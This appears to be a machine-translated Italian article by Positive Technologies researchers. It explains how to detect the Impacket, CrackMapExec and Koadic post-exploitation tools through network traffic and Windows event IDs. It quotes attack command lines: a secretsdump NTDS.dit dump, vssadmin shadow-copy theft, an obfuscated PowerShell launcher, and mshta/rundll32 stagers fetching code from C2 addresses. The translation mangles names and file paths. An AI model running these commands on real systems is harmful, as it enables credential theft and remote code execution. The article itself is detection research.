Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker

Il numero di attacchi nel settore aziendale cresce ogni anno: ad esempio nel 2017 è stato registrato il 13% in più di incidenti unici rispetto al 2016, e alla fine del 2018 - 27% di incidenti in piùrispetto al periodo precedente. Compresi quelli in cui lo strumento di lavoro principale è il sistema operativo Windows. Nel 2017-2018, l'APT Dragonfly, APT28, APT MuddyWater ha effettuato attacchi contro organizzazioni governative e militari in Europa, Nord America e Arabia Saudita. E abbiamo utilizzato tre strumenti per questo: Impatto, CrackMapExec и Koadico. Il loro codice sorgente è aperto e disponibile su GitHub.

È interessante notare che questi strumenti non vengono utilizzati per la penetrazione iniziale, ma per sviluppare un attacco all’interno dell’infrastruttura. Gli aggressori li utilizzano nelle diverse fasi dell'attacco in seguito alla penetrazione del perimetro. Questo, tra l'altro, è difficile da rilevare e spesso solo con l'aiuto della tecnologia identificare tracce di compromissione nel traffico di rete o strumenti che lo consentono rilevare le azioni attive di un aggressore dopo che è penetrato nell'infrastruttura. Gli strumenti forniscono una varietà di funzioni, dal trasferimento di file all'interazione con il registro e all'esecuzione di comandi su un computer remoto. Abbiamo condotto uno studio su questi strumenti per determinare la loro attività di rete.

Cosa dovevamo fare:

  • Comprendere come funzionano gli strumenti di hacking. Scopri cosa devono sfruttare gli aggressori e quali tecnologie possono utilizzare.
  • Trova ciò che non viene rilevato dagli strumenti di sicurezza informatica nelle prime fasi di un attacco. La fase di ricognizione può essere saltata, sia perché l’aggressore è un aggressore interno, sia perché l’aggressore sta sfruttando un buco nell’infrastruttura che prima non era noto. Diventa possibile ripristinare l'intera catena delle sue azioni, da qui il desiderio di rilevare ulteriori movimenti.
  • Elimina i falsi positivi dagli strumenti di rilevamento delle intrusioni. Non dobbiamo dimenticare che quando determinate azioni vengono rilevate solo sulla base della ricognizione, sono possibili errori frequenti. Di solito nell'infrastruttura esiste un numero sufficiente di modi, a prima vista indistinguibili da quelli legittimi, per ottenere qualsiasi informazione.

Cosa offrono questi strumenti agli aggressori? Se si tratta di Impacket, gli aggressori ricevono un'ampia libreria di moduli che possono essere utilizzati nelle diverse fasi dell'attacco che seguono dopo aver violato il perimetro. Molti strumenti utilizzano internamente i moduli Impacket, ad esempio Metasploit. Ha dcomexec e wmiexec per l'esecuzione di comandi remoti, secretsdump per ottenere account dalla memoria aggiunti da Impacket. Di conseguenza, il corretto rilevamento dell'attività di tale libreria garantirà il rilevamento dei derivati.

Non è un caso che i creatori abbiano scritto "Powered by Impacket" su CrackMapExec (o semplicemente CME). Inoltre, CME dispone di funzionalità già pronte per gli scenari più diffusi: Mimikatz per ottenere password o i loro hash, implementazione di Meterpreter o Empire Agent per l'esecuzione remota e Bloodhound a bordo.

Il terzo strumento che abbiamo scelto è stato Koadic. È abbastanza recente, è stato presentato alla conferenza internazionale degli hacker DEFCON 25 nel 2017 e si distingue per un approccio non standard: funziona tramite HTTP, Java Script e Microsoft Visual Basic Script (VBS). Questo approccio si chiama vivere dei frutti della terra: lo strumento utilizza una serie di dipendenze e librerie integrate in Windows. I creatori lo chiamano COM Command & Control o C3.

IMPACCHETTO

Le funzionalità di Impacket sono molto ampie e vanno dalla ricognizione all'interno di AD e raccolta dati da server MS SQL interni, alle tecniche per ottenere credenziali: si tratta di un attacco Relay SMB, e all'ottenimento del file ntds.dit contenente gli hash delle password degli utenti da un controller di dominio. Impacket esegue inoltre comandi in remoto utilizzando quattro metodi diversi: WMI, Windows Scheduler Management Service, DCOM e SMB e richiede credenziali per farlo.

Secretsdump

Diamo un'occhiata a secretsdump. Questo è un modulo che può essere indirizzato sia alle macchine degli utenti che ai controller di dominio. Può essere utilizzato per ottenere copie delle aree di memoria LSA, SAM, SECURITY, NTDS.dit, in modo da poter essere visto nelle diverse fasi dell'attacco. Il primo passo nel funzionamento del modulo è l'autenticazione tramite SMB, che richiede la password dell'utente o il suo hash per eseguire automaticamente l'attacco Pass the Hash. Successivamente viene richiesta l'apertura dell'accesso al Service Control Manager (SCM) e l'accesso al registro tramite il protocollo winreg, attraverso il quale un utente malintenzionato può scoprire i dati delle filiali di interesse e ottenere risultati tramite SMB.

Nella fig. 1 vediamo come esattamente utilizzando il protocollo winreg l'accesso avviene tramite una chiave di registro con un LSA. Per fare ciò, utilizzare il comando DCERPC con codice operativo 15 - OpenKey.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 1. Apertura di una chiave di registro utilizzando il protocollo winreg

Successivamente, una volta ottenuto l'accesso alla chiave, i valori vengono salvati con il comando SaveKey con codice operativo 20. Impacket lo fa in un modo molto specifico. Salva i valori in un file il cui nome è una stringa di 8 caratteri casuali a cui viene aggiunto .tmp. Inoltre, l'ulteriore caricamento di questo file avviene tramite SMB dalla directory System32 (Fig. 2).

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 2. Schema per ottenere una chiave di registro da una macchina remota

Si scopre che tale attività sulla rete può essere rilevata mediante query su determinati rami del registro utilizzando il protocollo winreg, nomi specifici, comandi e il loro ordine.

Questo modulo lascia tracce anche nel registro eventi di Windows, facilitandone il rilevamento. Ad esempio, come risultato dell'esecuzione del comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Nel registro di Windows Server 2016 vedremo la seguente sequenza chiave di eventi:

1. 4624 - Accesso remoto.
2. 5145 - verifica dei diritti di accesso al servizio remoto winreg.
3. 5145 - verifica dei diritti di accesso ai file nella directory System32. Il file ha il nome casuale menzionato sopra.
4. 4688 - creazione di un processo cmd.exe che avvia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creazione di un processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - creazione di un processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - creazione di un processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Come molti strumenti post-sfruttamento, Impacket dispone di moduli per l'esecuzione remota di comandi. Ci concentreremo su smbexec, che fornisce una shell di comandi interattiva su una macchina remota. Questo modulo richiede anche l'autenticazione tramite SMB, con una password o un hash della password. Nella fig. Nella Figura 3 vediamo un esempio di come funziona tale strumento, in questo caso si tratta della console di amministrazione locale.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 3. Console interattiva smbexec

Il primo passaggio di smbexec dopo l'autenticazione consiste nell'aprire l'SCM con il comando OpenSCManagerW (15). La query è notevole: il campo MachineName è DUMMY.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 4. Richiedere di aprire Gestione controllo servizi

Successivamente, il servizio viene creato utilizzando il comando CreateServiceW (12). Nel caso di smbexec, possiamo vedere ogni volta la stessa logica di costruzione del comando. Nella fig. 5 verde indica parametri di comando non modificabili, giallo indica cosa può modificare un utente malintenzionato. È facile vedere che il nome del file eseguibile, la sua directory e il file di output possono essere modificati, ma il resto è molto più difficile da modificare senza disturbare la logica del modulo Impacket.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 5. Richiedere di creare un servizio utilizzando Service Control Manager

Smbexec lascia tracce evidenti anche nel registro eventi di Windows. Nel registro di Windows Server 2016 per la shell dei comandi interattiva con il comando ipconfig, vedremo la seguente sequenza di eventi chiave:

1 — installazione del servizio sulla macchina della vittima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creazione del processo cmd.exe con gli argomenti del punto 1.
3. 5145 - verifica dei diritti di accesso al file __output nella directory C$.
4 — installazione del servizio sul computer della vittima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creazione del processo cmd.exe con gli argomenti del punto 4.
6. 5145 - verifica dei diritti di accesso al file __output nella directory C$.

Impcket è la base per lo sviluppo di strumenti di attacco. Supporta quasi tutti i protocolli nell'infrastruttura Windows e allo stesso tempo ha le sue caratteristiche. Di seguito sono riportate le richieste winreg specifiche e l'uso dell'API SCM con la formazione di comandi caratteristica, il formato del nome file e la condivisione SMB SYSTEM32.

CRACMAPEEXEC

Lo strumento CME è progettato principalmente per automatizzare quelle azioni di routine che un utente malintenzionato deve eseguire per avanzare all'interno della rete. Ti consente di lavorare in collaborazione con il noto agente Empire e Meterpreter. Per eseguire comandi di nascosto, CME può offuscarli. Utilizzando Bloodhound (uno strumento di ricognizione separato), un utente malintenzionato può automatizzare la ricerca di una sessione di amministratore di dominio attiva.

Segugio

Bloodhound, come strumento autonomo, consente la ricognizione avanzata all'interno della rete. Raccoglie dati su utenti, macchine, gruppi, sessioni e viene fornito come script PowerShell o file binario. Per raccogliere informazioni vengono utilizzati protocolli LDAP o basati su SMB. Il modulo di integrazione CME consente di scaricare Bloodhound sul computer della vittima, eseguirlo e ricevere i dati raccolti dopo l'esecuzione, automatizzando così le azioni nel sistema e rendendole meno evidenti. La shell grafica di Bloodhound presenta i dati raccolti sotto forma di grafici, che consentono di trovare il percorso più breve dalla macchina dell’aggressore all’amministratore del dominio.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 6. Interfaccia Bloodhound

Per essere eseguito sul computer della vittima, il modulo crea un'attività utilizzando ATSVC e SMB. ATSVC è un'interfaccia per lavorare con l'Utilità di pianificazione di Windows. CME utilizza la sua funzione NetrJobAdd(1) per creare attività sulla rete. Un esempio di ciò che invia il modulo CME è mostrato in Fig. 7: Si tratta di una chiamata al comando cmd.exe e di un codice offuscato sotto forma di argomenti in formato XML.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Fig.7. Creazione di un'attività tramite ECM

Dopo che l’attività è stata inviata per l’esecuzione, il computer della vittima avvia Bloodhound stesso e questo può essere visto nel traffico. Il modulo è caratterizzato da query LDAP per ottenere gruppi standard, un elenco di tutte le macchine e gli utenti del dominio e ottenere informazioni sulle sessioni utente attive tramite la richiesta SRVSVC NetSessEnum.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 8. Ottenere un elenco di sessioni attive tramite SMB

Inoltre, l'avvio di Bloodhound sul computer di una vittima con il controllo abilitato è accompagnato da un evento con ID 4688 (creazione del processo) e il nome del processo «C:WindowsSystem32cmd.exe». Ciò che è degno di nota sono gli argomenti della riga di comando:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Il modulo enum_avproducts è molto interessante dal punto di vista delle funzionalità e dell'implementazione. WMI consente di utilizzare il linguaggio di query WQL per recuperare dati da vari oggetti Windows, che è essenzialmente ciò che utilizza questo modulo CME. Genera query alle classi AntiSpywareProduct e AntiМirusProduct sugli strumenti di protezione installati sul computer della vittima. Per ottenere i dati necessari, il modulo si connette allo spazio dei nomi rootSecurityCenter2, quindi genera una query WQL e riceve una risposta. Nella fig. La Figura 9 mostra il contenuto di tali richieste e risposte. Nel nostro esempio è stato trovato Windows Defender.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 9. Attività di rete del modulo enum_avproducts

Spesso il controllo WMI (Trace WMI-Activity), nei cui eventi è possibile trovare informazioni utili sulle query WQL, può essere disabilitato. Ma se è abilitato, se viene eseguito lo script enum_avproducts, verrà salvato un evento con ID 11. Conterrà il nome dell'utente che ha inviato la richiesta e il nome nello spazio dei nomi rootSecurityCenter2.

Ciascuno dei moduli CME aveva i propri artefatti, che si trattasse di query WQL specifiche o della creazione di un certo tipo di attività in un pianificatore di attività con offuscamento e attività specifica di Bloodhound in LDAP e SMB.

KOADICO

Una caratteristica distintiva di Koadic è l'uso di interpreti JavaScript e VBScript integrati in Windows. In questo senso segue la tendenza del vivere dei prodotti agricoli, ovvero non ha dipendenze esterne e utilizza gli strumenti standard di Windows. Si tratta di uno strumento di Command & Control (CnC) completo, poiché dopo l'infezione sulla macchina viene installato un “impianto” che ne consente il controllo. Una macchina del genere, nella terminologia koadica, è chiamata “zombi”. Se non ci sono privilegi sufficienti per la piena operatività da parte della vittima, Koadic ha la possibilità di aumentarli utilizzando le tecniche di bypass del controllo dell'account utente (bypass UAC).

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 10. Guscio Koadico

La vittima deve avviare la comunicazione con il server Command & Control. Per fare ciò, deve contattare un URI precedentemente preparato e ricevere il corpo koadico principale utilizzando uno degli stager. Nella fig. La Figura 11 mostra un esempio per lo stager mshta.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 11. Inizializzazione di una sessione con il server CnC

Sulla base della variabile di risposta WS risulta chiaro che l'esecuzione avviene tramite WScript.Shell e che le variabili STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contengono informazioni chiave sui parametri della sessione corrente. Questa è la prima coppia richiesta-risposta in una connessione HTTP con un server CnC. Le richieste successive sono direttamente correlate alla funzionalità dei moduli richiamati (impianti). Tutti i moduli Koadic funzionano solo con una sessione attiva con CnC.

Mimikatz

Proprio come CME funziona con Bloodhound, Koadic funziona con Mimikatz come programma separato e ha diversi modi per avviarlo. Di seguito è riportata una coppia richiesta-risposta per il download dell'impianto Mimikatz.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 12. Trasferisci Mimikatz a Koadic

Puoi vedere come è cambiato il formato URI nella richiesta. Ora contiene un valore per la variabile csrf, che è responsabile del modulo selezionato. Non prestare attenzione al suo nome; Sappiamo tutti che CSRF viene solitamente inteso in modo diverso. La risposta era lo stesso corpo principale di Koadic, al quale è stato aggiunto il codice relativo a Mimikatz. È abbastanza grande, quindi diamo un'occhiata ai punti chiave. Qui abbiamo la libreria Mimikatz codificata in base64, una classe .NET serializzata che la inietterà e gli argomenti per avviare Mimikatz. Il risultato dell'esecuzione viene trasmesso in rete in chiaro.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 13. Risultato dell'esecuzione di Mimikatz su una macchina remota

Exec_cmd

Koadic dispone anche di moduli in grado di eseguire comandi da remoto. Qui vedremo lo stesso metodo di generazione dell'URI e le familiari variabili sid e csrf. Nel caso del modulo exec_cmd, al corpo viene aggiunto il codice in grado di eseguire comandi di shell. Di seguito è riportato tale codice contenuto nella risposta HTTP del server CnC.

Come rilevare attacchi all'infrastruttura Windows: studio degli strumenti degli hacker
Riso. 14. Codice impianto exec_cmd

Per l'esecuzione del codice è necessaria la variabile GAWTUUGCFI con il familiare attributo WS. Con il suo aiuto, l'impianto chiama la shell, elaborando due rami del codice: shell.exec con la restituzione del flusso di dati di output e shell.run senza ritorno.

Koadic non è uno strumento tipico, ma ha i suoi artefatti grazie ai quali può essere trovato nel traffico legittimo:

  • formazione speciale di richieste HTTP,
  • utilizzando l'API winHttpRequests,
  • creando un oggetto WScript.Shell tramite ActiveXObject,
  • corpo eseguibile di grandi dimensioni.

La connessione iniziale viene avviata dallo stager, quindi è possibile rilevarne l'attività tramite eventi di Windows. Per mshta si tratta dell'evento 4688, che indica la creazione di un processo con l'attributo start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mentre Koadic è in esecuzione si possono vedere altri 4688 eventi con attributi che lo caratterizzano perfettamente:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

risultati

La tendenza a vivere dei frutti della terra sta guadagnando popolarità tra i criminali. Utilizzano gli strumenti e i meccanismi integrati in Windows per le loro esigenze. Stiamo vedendo strumenti popolari come Koadic, CrackMapExec e Impacket che seguono questo principio apparire sempre più nei report APT. Anche il numero di fork su GitHub per questi strumenti sta crescendo e ne stanno apparendo di nuovi (ce ne sono già circa un migliaio adesso). Questa tendenza sta guadagnando popolarità grazie alla sua semplicità: gli aggressori non hanno bisogno di strumenti di terze parti; sono già sui computer delle vittime e le aiutano a bypassare le misure di sicurezza. Ci concentriamo sullo studio della comunicazione di rete: ogni strumento sopra descritto lascia la propria traccia nel traffico di rete; il loro studio dettagliato ci ha permesso di insegnare il nostro prodotto PT Individuazione degli attacchi di rete rilevarli, il che aiuta in definitiva a indagare sull’intera catena di incidenti informatici che li coinvolgono.

Autori:

  • Anton Tyurin, capo del dipartimento dei servizi esperti, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, esperto, PT Expert Security Center, Positive Technologies

Fonte: habr.com

Aggiungi un commento